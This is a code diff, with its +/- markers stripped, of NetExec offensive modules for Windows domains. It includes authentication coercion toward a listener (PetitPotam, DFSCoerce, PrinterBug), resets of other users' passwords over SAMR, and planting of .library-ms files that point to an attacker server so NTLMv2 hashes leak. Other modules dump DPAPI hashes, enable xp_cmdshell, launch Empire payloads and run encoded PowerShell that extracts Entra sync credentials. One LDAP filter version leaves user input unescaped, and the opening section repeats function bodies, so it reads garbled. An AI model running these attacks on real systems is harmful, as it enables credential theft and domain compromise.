self._smb_samr_change(context, connection, target_username, target_domain, self.oldhash, self.newpass, new_nthash)
except Exception as e:
context.log.fail(f"Password change failed: {e}")
def _smb_samr_change(self, context, connection, target_username, target_domain, oldHash, newPassword, newHash):
try:
# Reset the password for a different user
if target_username != connection.username:
user_handle = self._hSamrOpenUser(connection, target_username)
samr.hSamrSetNTInternal1(self.dce, user_handle, newPassword, newHash)
context.log.success(f"Successfully changed password for {target_username}")
# Remove user if exists to avoid outdated credentials when we update plaintext password, but hash exists (or vice versa)
user = self.context.db.get_user(target_domain, target_username)
user_ids = [row[0] for row in user]
self.context.db.remove_credentials(user_ids)
# Store the new credentials in the database
if new_nthash:
self.context.db.add_credential("hash", target_domain, target_username, new_nthash)
else:
# Change password for the current user
if newPassword:
# Change the password with new password
samr.hSamrUnicodeChangePasswordUser2(self.dce, "\x00", target_username, self.oldpass, newPassword, "", oldHash)
else:
# Change the password with new hash
user_handle = self._hSamrOpenUser(connection, target_username)
samr.hSamrChangePasswordUser(self.dce, user_handle, self.oldpass, "", oldHash, "aad3b435b51404eeaad3b435b51404ee", newHash)
context.log.highlight("Note: Target user must change password at next logon.")
context.log.success(f"Successfully changed password for {target_username}")
self.context.db.add_credential("plaintext", target_domain, target_username, self.newpass)
except Exception as e:
context.log.fail(f"SMB-SAMR password change failed: {e}")
if "STATUS_ACCESS_DENIED" in str(e):
self.context.log.fail(f"STATUS_ACCESS_DENIED while changing password for user: {target_username}")
elif "STATUS_NONE_MAPPED" in str(e):
self.context.log.fail(f"User '{target_username}' not found or not resolvable")
else:
context.log.fail(f"SMB-SAMR password change failed: {e}")
finally:
self.dce.disconnect()
def _smb_samr_change(self, context, connection, target_username, target_domain, oldHash, newPassword, newHash):
# Reset the password for a different user
if target_username != connection.username:
user_handle = self._hSamrOpenUser(connection, target_username)
samr.hSamrSetNTInternal1(self.dce, user_handle, newPassword, newHash)
context.log.success(f"Successfully changed password for {target_username}")
else:
# Change password for the current user
if newPassword:
# Change the password with new password
samr.hSamrUnicodeChangePasswordUser2(self.dce, "\x00", target_username, self.oldpass, newPassword, "", oldHash)
else:
# Change the password with new hash
user_handle = self._hSamrOpenUser(connection, target_username)
samr.hSamrChangePasswordUser(self.dce, user_handle, self.oldpass, "", oldHash, "aad3b435b51404eeaad3b435b51404ee", newHash)
context.log.highlight("Note: Target user must change password at next logon.")
context.log.success(f"Successfully changed password for {target_username}")
def _hSamrOpenUser(self, connection, username):
"""Get handle to the user object"""
try:
# Connect to the target server and retrieve handles
server_handle = samr.hSamrConnect(self.dce, connection.host + "\x00")["ServerHandle"]
domain_sid = samr.hSamrLookupDomainInSamServer(self.dce, server_handle, connection.domain)["DomainId"]
domain_handle = samr.hSamrOpenDomain(self.dce, server_handle, domainId=domain_sid)["DomainHandle"]
user_rid = samr.hSamrLookupNamesInDomain(self.dce, domain_handle, (username,))["RelativeIds"]["Element"][0]
return samr.hSamrOpenUser(self.dce, domain_handle, userId=user_rid)["UserHandle"]
except Exception as e:
self.context.log.fail(f"Failed to open user: {e}")
"""Connect to the target server and retrieve the user handle"""
server_handle = samr.hSamrConnect(self.dce, connection.host + "\x00")["ServerHandle"]
domain_sid = samr.hSamrLookupDomainInSamServer(self.dce, server_handle, connection.domain)["DomainId"]
domain_handle = samr.hSamrOpenDomain(self.dce, server_handle, domainId=domain_sid)["DomainHandle"]
user_rid = samr.hSamrLookupNamesInDomain(self.dce, domain_handle, (username,))["RelativeIds"]["Element"][0]
return samr.hSamrOpenUser(self.dce, domain_handle, userId=user_rid)["UserHandle"]
+25 -29
View File
@@ -1,16 +1,18 @@
from impacket import uuid
from impacket.dcerpc.v5 import transport, rprn, even, epm
from impacket.dcerpc.v5.rrp import DCERPCSessionError # ruff: ignore[unused-import] solves an issue with error handling of impacket not displaying the correct exception
from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantArray, NDRPOINTERNULL
from impacket.dcerpc.v5.dtypes import LPBYTE, USHORT, LPWSTR, DWORD, ULONG, NULL, WSTR, LONG, BOOL, PCHAR, RPC_SID
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
from impacket.uuid import uuidtup_to_bin
from nxc.helpers.misc import CATEGORY
import contextlib
class NXCModule:
name = "coerce_plus"
description = "Module to check if the Target is vulnerable to any coerce vulns. Set LISTENER IP for coercion."
supported_protocols = ["smb"]
category = CATEGORY.PRIVILEGE_ESCALATION
def __init__(self, context=None, module_options=None):
self.context = context
@@ -212,6 +214,15 @@ class NXCModule:
return
def get_dynamic_endpoint(interface: bytes, target: str, timeout: int = 5) -> str:
string_binding = rf"ncacn_ip_tcp:{target}[135]"
rpctransport = transport.DCERPCTransportFactory(string_binding)
rpctransport.set_connect_timeout(timeout)
dce = rpctransport.get_dce_rpc()
dce.connect()
return epm.hept_map(target, interface, protocol="ncacn_ip_tcp", dce=dce)
class ShadowCoerceTrigger:
def __init__(self, context):
self.context = context
@@ -387,8 +398,8 @@ class DFSCoerceTrigger:
"""
request["ServerName"] = f"{listener}\x00"
request["RootShare"] = "test\x00"
request["Comment"] = "lodos\x00"
request["Share"] = "x:\\lodos2005\x00"
request["Comment"] = "test\x00"
request["Share"] = "x:\\test\x00"
dce.request(request)
except Exception as e:
@@ -409,7 +420,7 @@ class DFSCoerceTrigger:
request["pDfsPath"] = f"\\\\{listener}\\a\x00"
request["pTargetPath"] = NULL
request["MajorVersion"] = 0
request["pComment"] = "lodos\x00"
request["pComment"] = "test\x00"
request["NewNamespace"] = 0
request["Flags"] = 0
dce.request(request)
@@ -472,7 +483,7 @@ class DFSCoerceTrigger:
request = NetrDfsAddStdRoot()
request["ServerName"] = f"{listener}\x00"
request["RootShare"] = "test\x00"
request["Comment"] = "lodos\x00"
request["Comment"] = "test\x00"
request["ApiFlags"] = 0
dce.request(request)
except Exception as e:
@@ -528,6 +539,11 @@ class PetitPotamtTrigger:
},
}
# activates EFS
# https://specterops.io/blog/2025/08/19/will-webclient-start/
with contextlib.suppress(Exception):
get_dynamic_endpoint(uuidtup_to_bin(("df1941c5-fe89-4e79-bf10-463657acf44d", "0.0")), target, timeout=1)
rpctransport = transport.DCERPCTransportFactory(binding_params[pipe]["stringBinding"])
rpctransport.set_dport(445)
@@ -755,27 +771,6 @@ class PrinterBugTrigger:
def __init__(self, context):
self.context = context
def get_dynamic_endpoint(self, interface: bytes, target: str, timeout: int = 5) -> str:
string_binding = rf"ncacn_ip_tcp:{target}[135]"
rpctransport = transport.DCERPCTransportFactory(string_binding)
rpctransport.set_connect_timeout(timeout)
dce = rpctransport.get_dce_rpc()
self.context.log.debug(f"Trying to resolve dynamic endpoint {uuid.bin_to_string(interface)!r}")
try:
dce.connect()
except Exception as e:
self.context.log.warning(f"Failed to connect to endpoint mapper: {e}")
raise e
try:
endpoint = epm.hept_map(target, interface, protocol="ncacn_ip_tcp", dce=dce)
self.context.log.debug(
f"Resolved dynamic endpoint {uuid.bin_to_string(interface)!r} to {endpoint!r}"
)
return endpoint
except Exception as e:
self.context.log.debug(f"Failed to resolve dynamic endpoint {uuid.bin_to_string(interface)!r}")
raise e
def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost, pipe):
binding_params = {
"spoolss": {
@@ -784,11 +779,12 @@ class PrinterBugTrigger:
"port": 445
},
"[dcerpc]": {
"stringBinding": self.get_dynamic_endpoint(uuidtup_to_bin(("12345678-1234-abcd-ef00-0123456789ab", "1.0")), target),
"MSRPC_UUID_RPRN": ("12345678-1234-abcd-ef00-0123456789ab", "1.0"),
"port": None
}
}
if pipe == "[dcerpc]":
binding_params["[dcerpc]"]["stringBinding"] = get_dynamic_endpoint(uuidtup_to_bin(("12345678-1234-abcd-ef00-0123456789ab", "1.0")), target)
rpctransport = transport.DCERPCTransportFactory(binding_params[pipe]["stringBinding"])
if binding_params[pipe]["port"] is not None:
rpctransport.set_dport(binding_params[pipe]["port"])
@@ -1088,7 +1084,7 @@ class EFS_HASH_BLOB(NDRSTRUCT):
class ENCRYPTION_CERTIFICATE_HASH(NDRSTRUCT):
structure = (
("Lenght", DWORD),
("Length", DWORD),
("SID", RPC_SID),
("Hash", EFS_HASH_BLOB),
("Display", LPWSTR),
+13 -11
View File
@@ -3,15 +3,16 @@ import json
import datetime
from enum import Enum
from impacket.ldap import ldaptypes
from impacket.ldap.ldapasn1 import SDFlagsControl
from impacket.uuid import bin_to_string
from nxc.helpers.misc import CATEGORY
from nxc.helpers.msada_guids import SCHEMA_OBJECTS, EXTENDED_RIGHTS
from nxc.parsers.ldap_results import parse_result_attributes
from ldap3.utils.conv import escape_filter_chars
from ldap3.protocol.microsoft import security_descriptor_control
import sys
import traceback
from os.path import isfile
OBJECT_TYPES_GUID = {}
OBJECT_TYPES_GUID.update(SCHEMA_OBJECTS)
OBJECT_TYPES_GUID.update(EXTENDED_RIGHTS)
@@ -189,8 +190,8 @@ class ALLOWED_OBJECT_ACE_MASK_FLAGS(Enum):
SEARCH_FILTERS = {
"TARGET": lambda target: f"(sAMAccountName={escape_filter_chars(target)})",
"TARGET_DN": lambda target: f"(distinguishedName={escape_filter_chars(target)})"
"TARGET": lambda target: f"(sAMAccountName={target})",
"TARGET_DN": lambda target: f"(distinguishedName={target})"
}
@@ -199,12 +200,13 @@ class NXCModule:
This module is essentially inspired from the dacledit.py script of Impacket that we have coauthored, @_nwodtuhs and me.
It has been converted to an LDAPConnection session, and improvements on the filtering and the ability to specify multiple targets have been added.
It could be interesting to implement the write/remove functions here, but a ldap3 session instead of a LDAPConnection one is required to write.
It could be interesting to implement the write/remove functions here.
"""
name = "daclread"
description = "Read and backup the Discretionary Access Control List of objects. Be careful, this module cannot read the DACLS recursively, see more explanation in the options."
supported_protocols = ["ldap"]
category = CATEGORY.ENUMERATION
def __init__(self, context=None, module_options=None):
self.context = context
@@ -247,10 +249,10 @@ class NXCModule:
context.log.debug("There is a target specified!")
if isfile(module_options[option]):
try:
target_file = open(module_options[option]) # noqa: SIM115
for line in target_file:
context.log.debug(f"Adding target from file: {line}")
self.targets.append((line.strip(), SEARCH_FILTERS[option]))
with open(module_options[option]) as target_file:
for line in target_file:
context.log.debug(f"Adding target from file: {line}")
self.targets.append((line.strip(), SEARCH_FILTERS[option]))
except Exception:
context.log.fail("The file doesn't exist or cannot be opened.")
else:
@@ -286,7 +288,7 @@ class NXCModule:
if self.principal_sAMAccountName is not None:
try:
resp = connection.search(
searchFilter=f"(sAMAccountName={escape_filter_chars(self.principal_sAMAccountName)})",
searchFilter=f"(sAMAccountName={self.principal_sAMAccountName})",
attributes=["objectSid"],
)
resp_parsed = parse_result_attributes(resp)[0]
@@ -304,7 +306,7 @@ class NXCModule:
resp = connection.search(
searchFilter=search_filter(target),
attributes=["distinguishedName", "nTSecurityDescriptor"],
searchControls=security_descriptor_control(sdflags=0x04),
searchControls=[SDFlagsControl(criticality=False, flags=0x04)],
)
resp_parsed = parse_result_attributes(resp)[0]
+4
View File
@@ -1,7 +1,11 @@
from nxc.helpers.misc import CATEGORY
class NXCModule:
name = "dfscoerce"
description = "[REMOVED] Module to check if the DC is vulnerable to DFSCoerce, credit to @filip_dragovic/@Wh04m1001 and @topotam"
supported_protocols = ["smb"]
category = CATEGORY.PRIVILEGE_ESCALATION
def __init__(self, context=None, module_options=None):
self.context = context
+68
View File
@@ -0,0 +1,68 @@
from impacket.structure import Structure
from nxc.parsers.ldap_results import parse_result_attributes
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""Module by @MaxToffy"""
name = "dns-nonsecure"
description = "Detects DNS zones that allow nonsecure dynamic updates"
supported_protocols = ["ldap"]
category = CATEGORY.ENUMERATION
def options(self, context, module_options):
"""No options available"""
def on_login(self, context, connection):
search_bases = {
"domain": f"CN=MicrosoftDNS,DC=DomainDnsZones,{connection.baseDN}",
"forest": f"CN=MicrosoftDNS,DC=ForestDnsZones,{connection.forestDN}"
}
for dns_type, search_base in search_bases.items():
# Search for domain DNS zones
resp = connection.search(
searchFilter="(objectClass=dnsZone)",
attributes=["name", "dNSProperty"],
baseDN=search_base,
)
zones = parse_result_attributes(resp)
# Get dynamic updates configuration for each zones
allows_nonsecure_updates = []
for zone in zones:
for prop in zone["dNSProperty"]:
dns_properties = DNS_PROPERTY(prop)
# [MS-DNSP] 2.2.5.2.4.1 - DNS_RPC_ZONE_INFO_W2K - fAllowUpdate
if dns_properties["Id"] == DSPROPERTY_ZONE_ALLOW_UPDATE and int.from_bytes(dns_properties["Data"]) == ZONE_UPDATE_UNSECURE:
allows_nonsecure_updates.append(zone["name"])
if allows_nonsecure_updates:
context.log.success(f"{dns_type.capitalize()} DNS zone(s) allowing nonsecure dynamic updates")
for zone in allows_nonsecure_updates:
context.log.highlight(zone)
else:
context.log.fail(f"No {dns_type} DNS zones allowing nonsecure dynamic updates")
# [MS-DNSP] - 2.3.2.1 - dnsProperty
class DNS_PROPERTY(Structure):
structure = (
("DataLength", "<L-Data"),
("NameLength", "<L"),
("Flag", "<L"),
("Version", "<L"),
("Id", "<L"),
("Data", ":"),
("Name", "1s"),
)
# [MS-DNSP] - 2.3.2.1.1 - Property Id
DSPROPERTY_ZONE_ALLOW_UPDATE = 0x02
# [MS-DNSP] - 2.2.5.2.4.1 - fAllowUpdate values
ZONE_UPDATE_OFF = 0x00000000
ZONE_UPDATE_UNSECURE = 0x00000001
ZONE_UPDATE_SECURE = 0x00000002
+5 -29
View File
@@ -1,15 +1,13 @@
from dploot.lib.target import Target
from dploot.triage.masterkeys import MasterkeysTriage
from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection
from nxc.helpers.misc import CATEGORY
# Based on dpapimk2john, original work by @fist0urs
class NXCModule:
name = "dpapi_hash"
description = "Remotely dump Dpapi hash based on masterkeys"
supported_protocols = ["smb"]
supported_protocols = ["smb", "wmi", "winrm", "mssql"]
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
"""OUTPUTFILE Output file to write hashes"""
@@ -18,33 +16,11 @@ class NXCModule:
self.outputfile = module_options["OUTPUTFILE"]
def on_admin_login(self, context, connection):
username = connection.username
password = getattr(connection, "password", "")
nthash = getattr(connection, "nthash", "")
target = Target.create(
domain=connection.domain,
username=username,
password=password,
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
lmhash=getattr(connection, "lmhash", ""),
nthash=nthash,
do_kerberos=connection.kerberos,
aesKey=connection.aesKey,
no_pass=True,
use_kcache=getattr(connection, "use_kcache", False),
)
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
if conn is None:
context.log.debug("Could not upgrade connection")
return
try:
context.log.display("Collecting DPAPI masterkeys, grab a coffee and be patient...")
masterkeys_triage = MasterkeysTriage(
target=target,
conn=conn,
target=connection.dpapi_triage.target,
conn=connection.dpapi_triage.conn,
)
context.log.debug(f"Masterkeys Triage: {masterkeys_triage}")
context.log.debug("Collecting user masterkeys")
+91
View File
@@ -0,0 +1,91 @@
import ntpath
from nxc.paths import TMP_PATH
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""
Requested by the issue #652, heavily inspired by drop-sc, scuffy and slinky modules
https://research.checkpoint.com/2025/cve-2025-24054-ntlm-exploit-in-the-wild/
https://cti.monster/blog/2025/03/18/CVE-2025-24071.html
Module by: @XedSama
"""
name = "drop-library-ms"
description = "Creates and uploads an arbitrary .library-ms on writable shares, leveraging CVE-2025-24054 for looting NTLMv2 hash"
supported_protocols = ["smb"]
category = CATEGORY.PRIVILEGE_ESCALATION
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
self.ignore_shares = ["C$", "ADMIN$", "NETLOGON", "SYSVOL"]
self.server = None
self.lms_name = ""
self.cleanup = False
self.local_path = None
self.remote_path = None
def options(self, context, module_options):
"""
SERVER Attacker machine
NAME File name
IGNORE Specific shares to ignore (comma separated, default: C$,ADMIN$,NETLOGON,SYSVOL)
CLEANUP Cleaning option (True or False)
"""
if "SERVER" not in module_options and not self.cleanup:
context.log.fail("SERVER option is required")
exit(1)
if "NAME" not in module_options:
context.log.fail("NAME option is required!")
exit(1)
if "IGNORE" in module_options:
self.ignore_shares = module_options["IGNORE"].split(",")
context.log.debug(f"Ignoring shares: {self.ignore_shares}")
if "CLEANUP" in module_options:
self.cleanup = bool(module_options["CLEANUP"])
context.log.debug(f"CLEANUP is set to {self.cleanup}")
self.lms_name = module_options["NAME"]
self.local_path = f"{TMP_PATH}/{self.lms_name}.library-ms"
self.remote_path = ntpath.join("\\", f"{self.lms_name}.library-ms")
if not self.cleanup:
self.server = module_options["SERVER"]
with open(self.local_path, "w", encoding="utf-8") as libms:
libms.truncate(0)
libms.write('<?xml version="1.0" encoding="UTF-8"?>')
libms.write('<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">')
libms.write("<searchConnectorDescriptionList>")
libms.write("<searchConnectorDescription>")
libms.write("<simpleLocation>")
libms.write(f"<url>\\\\{self.server}\\LIBRARY</url>")
libms.write("</simpleLocation>")
libms.write("</searchConnectorDescription>")
libms.write("</searchConnectorDescriptionList>")
libms.write("</libraryDescription>")
def on_login(self, context, connection):
shares = connection.shares()
for share in shares:
if "WRITE" in share["access"] and share["name"] not in self.ignore_shares:
context.log.success(f"Found writable share : {share['name']}")
if self.cleanup:
try:
connection.conn.deleteFile(share["name"], self.remote_path)
context.log.success(f"Deleted .library-ms file on share '{share['name']}'")
except Exception as e:
context.log.fail(f"Error deleting .library-ms file on share '{share['name']}' : {e}")
else:
with open(self.local_path, "rb") as libms:
try:
connection.conn.putFile(share["name"], self.remote_path, libms.read)
context.log.success(f"Created .library-ms file on share '{share['name']}'")
except Exception as e:
context.log.fail(f"Error writing .library-ms file on share '{share['name']}' : {e}")
+3 -1
View File
@@ -1,5 +1,6 @@
import ntpath
import tempfile
from nxc.helpers.misc import CATEGORY
class NXCModule:
@@ -12,6 +13,7 @@ class NXCModule:
name = "drop-sc"
description = "Drop a searchConnector-ms file on each writable share"
supported_protocols = ["smb"]
category = CATEGORY.PRIVILEGE_ESCALATION
def options(self, context, module_options):
"""
@@ -45,7 +47,7 @@ class NXCModule:
with open(self.scfile_path, "w") as scfile:
scfile.truncate(0)
scfile.write('<?xml version="1.0" encoding="UTF-8"?>')
scfile.write("<searchConnectorDescription" ' xmlns="http://schemas.microsoft.com/windows/2009/searchConnector">') # noqa ISC001
scfile.write('<searchConnectorDescription xmlns="http://schemas.microsoft.com/windows/2009/searchConnector">')
scfile.write("<description>Microsoft Outlook</description>")
scfile.write("<isSearchOnlyItem>false</isSearchOnlyItem>")
scfile.write("<includeInStartMenuScope>true</includeInStartMenuScope>")
+7 -2
View File
@@ -1,10 +1,12 @@
from nxc.helpers.misc import CATEGORY
from nxc.parsers.ldap_results import parse_result_attributes
class NXCModule:
name = "dump-computers"
description = "Dumps all computers in the domain"
description = "Dumps FQDN and OS of all computers in the domain"
supported_protocols = ["ldap"]
category = CATEGORY.ENUMERATION
def options(self, context, module_options):
"""
@@ -41,8 +43,11 @@ class NXCModule:
context.log.debug(f"Total number of records returned: {len(resp_parsed)}")
for item in resp_parsed:
dns_host_name = item["dNSHostName"]
dns_host_name = item.get("dNSHostName")
operating_system = item.get("operatingSystem", "Unknown OS")
if not dns_host_name:
context.log.debug(f"Skipping computer without dNSHostName: {item.get('cn', '<unknown>')}")
continue
if self.netbios_only:
netbios_name = dns_host_name.split(".")[0]
+5 -95
View File
@@ -1,110 +1,20 @@
import ntpath
from nxc.helpers.misc import gen_random_string
from nxc.context import Context
from impacket.smb3structs import FILE_SHARE_WRITE, FILE_SHARE_DELETE, FILE_ATTRIBUTE_ENCRYPTED
from impacket.smbconnection import SessionError, SMBConnection
def get_error_string(exception):
if hasattr(exception, "getErrorString"):
try:
es = exception.getErrorString()
except KeyError:
return f"Could not get nt error code {exception.getErrorCode()} from impacket: {exception}"
if type(es) is tuple:
return es[0]
else:
return es
else:
return str(exception)
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""EFSR Spray Module
Module by @rtpt-romankarwacik
"""
name = "efsr_spray"
description = "Tries to activate the EFSR service by creating a file with the encryption attribute on some available share."
description = "[REMOVED] Tries to activate the EFSR service by creating a file with the encryption attribute on some available share."
supported_protocols = ["smb"]
excluded_shares = ["SYSVOL"]
category = CATEGORY.PRIVILEGE_ESCALATION
def options(self, context: Context, module_options: dict[str, str]):
"""
FILE_NAME Name of the file which will be tried to create and afterwards delete
SHARE_NAME If set, ONLY this share will be used
EXCLUDED_SHARES List of share names which will not be used, seperated by comma
EXCLUDED_SHARES List of share names which will not be used, separated by comma
"""
self.file_name = module_options.get("FILE_NAME", ntpath.normpath("\\" + gen_random_string() + ".txt"))
self.share_name = module_options.get("SHARE_NAME")
if module_options.get("EXCLUDED_SHARES"):
self.excluded_shares += module_options.get("EXCLUDED_SHARES", "").split(",")
def on_login(self, context: Context, connection):
conn: SMBConnection = connection.conn # Because typing is broken due to smb being a folder and a file >:(
try:
shares = conn.listShares()
except SessionError as e:
error = get_error_string(e)
context.log.fail(f"Error enumerating shares: {error}", color="magenta")
return
# Check if named pipe is already available
try:
named_pipe_names = [f.get_shortname() for f in conn.listPath("IPC$", "*")]
if "efsrpc" in named_pipe_names:
context.log.highlight("efsrpc named pipe is already available!")
# if it is already activated we just skip this computer
return
except SessionError as e:
error = get_error_string(e)
context.log.fail(f"Error enumerating named pipes: {error}", color="magenta")
return
# Write an encrypted file on the share root.
# This will likely fail with STATUS_ACCESS_DENIED if we do not have the permission to create encrypted files,
# but this does not matter as the service will be activated nevertheless if we have WRITE or MODIFY access
for share in shares:
share_name = share["shi1_netname"][:-1]
if self.share_name is not None and self.share_name != share_name:
continue
if share_name in self.excluded_shares:
continue
try:
context.log.debug(f"Connecting to share {share_name}...")
tid = conn.connectTree(share_name)
except SessionError as e:
context.log.debug(f"Could not connect to share {share_name}: {e}")
continue
try:
context.log.debug(f"Creating file in {share_name}...")
fid = conn.createFile(tid, self.file_name,
desiredAccess=FILE_SHARE_WRITE,
shareMode=FILE_SHARE_DELETE,
fileAttributes=FILE_ATTRIBUTE_ENCRYPTED)
conn.closeFile(tid, fid)
try:
# this can happen when we have special permissions to create encrypted files
conn.deleteFile(share_name, self.file_name)
except SessionError as e:
error = get_error_string(e)
if error == "STATUS_OBJECT_NAME_NOT_FOUND":
pass
context.log.fail(f"Error DELETING created temp file {self.file_name} on share {share_name}: {error}")
except SessionError as e:
context.log.debug(f"Error writing encrypted file on share {share_name}: {get_error_string(e)} (This does not necessarily mean that the attack failed!)")
try:
tid = conn.connectTree("IPC$")
conn.waitNamedPipe(tid, "efsrpc", 10)
context.log.highlight("Successfully activated efsrpc named pipe!")
except SessionError as e:
error = get_error_string(e)
if error == "STATUS_OBJECT_NAME_NOT_FOUND":
context.log.debug("efsrpc pipe was not activated.")
else:
context.log.fail(f"Error waiting for named pipe: {error}", color="magenta")
return
context.log.fail('[REMOVED] This module has been made obsolete and EFS will be activated automatically by "coerce_plus"')
+2
View File
@@ -1,6 +1,7 @@
import sys
import requests
from requests import ConnectionError
from nxc.helpers.misc import CATEGORY
class NXCModule:
@@ -12,6 +13,7 @@ class NXCModule:
name = "empire_exec"
description = "Uses Empire's RESTful API to generate a launcher for the specified listener and executes it"
supported_protocols = ["smb", "mssql"]
category = CATEGORY.PRIVILEGE_ESCALATION
def options(self, context, module_options):
"""
+10 -4
View File
@@ -1,3 +1,6 @@
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""
Enables or disables xp_cmdshell in MSSQL Server.
@@ -7,6 +10,7 @@ class NXCModule:
name = "enable_cmdshell"
description = "Enable or disable xp_cmdshell in MSSQL Server"
supported_protocols = ["mssql"]
category = CATEGORY.PRIVILEGE_ESCALATION
def __init__(self):
self.mssql_conn = None
@@ -42,8 +46,7 @@ class NXCModule:
def backup_show_advanced_options(self):
"""Backs up the current state of 'show advanced options'."""
query = "SELECT CAST(value AS INT) AS value FROM sys.configurations WHERE name = 'show advanced options'"
res = self.mssql_conn.sql_query(query)
res = self.mssql_conn.sql_query("SELECT CAST(value AS INT) AS value FROM sys.configurations WHERE name = 'show advanced options'")
if res:
self.advanced_options_backup = int(res[0]["value"]) # Convert to integer
@@ -55,6 +58,7 @@ class NXCModule:
def toggle_xp_cmdshell(self, enable: bool):
"""Enables or disables xp_cmdshell while preserving 'show advanced options' state."""
state = "1" if enable else "0"
action_text = "enabled" if enable else "disabled"
# Backup 'show advanced options' state
self.backup_show_advanced_options()
@@ -65,8 +69,10 @@ class NXCModule:
try:
# Enable or disable xp_cmdshell
self.mssql_conn.sql_query(f"EXEC sp_configure 'xp_cmdshell', '{state}'; RECONFIGURE;")
action_text = "enabled" if enable else "disabled"
self.context.log.success(f"xp_cmdshell successfully {action_text}.")
if self.mssql_conn.lastError:
self.context.log.fail(f"Failed to {action_text[:-1]} xp_cmdshell: {self.mssql_conn.lastError}")
else:
self.context.log.success(f"xp_cmdshell successfully {action_text}.")
except Exception as e:
self.context.log.fail(f"Failed to execute command: {e}")
+2
View File
@@ -2,6 +2,7 @@
import re
from termcolor import colored
from nxc.helpers.misc import CATEGORY
from nxc.parsers.ldap_results import parse_result_attributes
from nxc.config import host_info_colors
@@ -12,6 +13,7 @@ class NXCModule:
name = "entra-id"
description = "Find the Entra ID sync server"
supported_protocols = ["ldap"]
category = CATEGORY.ENUMERATION
def __init__(self):
self.context = None
-49
View File
@@ -1,49 +0,0 @@
from base64 import b64encode
from nxc.helpers.powershell import get_ps_script
class NXCModule:
"""
Example:
-------
Module by @NeffIsBack
"""
name = "entra-sync-creds"
description = "Extract Entra ID sync credentials from the target host"
supported_protocols = ["smb"]
opsec_safe = True
def __init__(self):
self.context = None
self.module_options = None
self.entra_id_psscript = ""
with open(get_ps_script("entra-sync-creds/entra-sync-creds.ps1")) as psFile:
for line in psFile:
if line.startswith("#") or line.strip() == "":
continue
else:
self.entra_id_psscript += line.strip() + "\n"
def options(self, context, module_options):
"""No module options available."""
def on_admin_login(self, context, connection):
self.context = context
psScript_b64 = b64encode(self.entra_id_psscript.encode("UTF-16LE")).decode("utf-8")
out = connection.execute(f"powershell.exe -e {psScript_b64} -OutputFormat Text", True)
if "CLIXML" in out:
out = out.split("CLIXML")[1].split("<Objs Version")[0]
for line in out.splitlines():
if not line.strip():
continue
if "[!]" in line:
self.context.log.fail(line.replace("[!]", "").strip())
else:
self.context.log.highlight(line.strip())
+148 -110
View File
@@ -3,10 +3,11 @@
# Module by @mpgn_x64
# https://twitter.com/mpgn_x64
from impacket.dcerpc.v5 import lsat, lsad, transport
from impacket.dcerpc.v5 import lsat, lsad
from impacket.dcerpc.v5.dtypes import NULL, MAXIMUM_ALLOWED, RPC_UNICODE_STRING
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
import pathlib
from nxc.helpers.misc import CATEGORY
from nxc.helpers.rpc import NXCRPCConnection
class NXCModule:
@@ -18,6 +19,7 @@ class NXCModule:
name = "enum_av"
description = "Gathers information on all endpoint protection solutions installed on the the remote host(s) via LsarLookupNames (no privilege needed)"
supported_protocols = ["smb"]
category = CATEGORY.ENUMERATION
def __init__(self, context=None, module_options=None):
self.context = context
@@ -43,20 +45,8 @@ class NXCModule:
results = {}
try:
lsa = LsaLookupNames(
domain=connection.domain,
username=connection.username,
password=connection.password,
remote_name=target,
do_kerberos=connection.kerberos,
remoteHost=connection.host,
kdcHost=connection.kdcHost,
lmhash=connection.lmhash,
nthash=connection.nthash,
aesKey=connection.aesKey
)
dce, _ = lsa.connect()
lsa = LsaLookupNames(connection=connection)
dce = lsa.connect()
policyHandle = lsa.open_policy(dce)
for product in conf["products"]:
for service in product["services"]:
@@ -101,82 +91,11 @@ class NXCModule:
class LsaLookupNames:
timeout = None
authn_level = None
protocol = None
transfer_syntax = None
machine_account = False
def __init__(self, connection=None):
self.connection = connection
iface_uuid = lsat.MSRPC_UUID_LSAT
authn = True
def __init__(
self,
domain="",
username="",
password="",
remote_name="",
do_kerberos=False,
remoteHost="",
kdcHost="",
lmhash="",
nthash="",
aesKey="",
):
self.domain = domain
self.username = username
self.password = password
self.remoteName = remote_name
self.string_binding = rf"ncacn_np:{remote_name}[\PIPE\lsarpc]"
self.doKerberos = do_kerberos
self.lmhash = lmhash
self.nthash = nthash
self.aesKey = aesKey
self.kdcHost = kdcHost
self.remoteHost = remoteHost
def connect(self, string_binding=None, iface_uuid=None):
"""Obtains a RPC Transport and a DCE interface according to the bindings and
transfer syntax specified.
:return: tuple of DCE/RPC and RPC Transport objects
:rtype: (DCERPC_v5, DCERPCTransport)
"""
string_binding = string_binding or self.string_binding
if not string_binding:
raise NotImplementedError("String binding must be defined")
rpc_transport = transport.DCERPCTransportFactory(string_binding)
rpc_transport.setRemoteHost(self.remoteHost)
# Set timeout if defined
if self.timeout:
rpc_transport.set_connect_timeout(self.timeout)
# Authenticate if specified
if self.authn and hasattr(rpc_transport, "set_credentials"):
# This method exists only for selected protocol sequences.
rpc_transport.set_credentials(self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey)
if self.doKerberos:
rpc_transport.set_kerberos(self.doKerberos, kdcHost=self.kdcHost)
# Gets the DCE RPC object
dce = rpc_transport.get_dce_rpc()
if self.doKerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
# Connect
dce.connect()
# Bind if specified
iface_uuid = iface_uuid or self.iface_uuid
if iface_uuid and self.transfer_syntax:
dce.bind(iface_uuid, transfer_syntax=self.transfer_syntax)
elif iface_uuid:
dce.bind(iface_uuid)
return dce, rpc_transport
def connect(self):
return NXCRPCConnection(self.connection).connect(r"\lsarpc", lsat.MSRPC_UUID_LSAT)
def open_policy(self, dce):
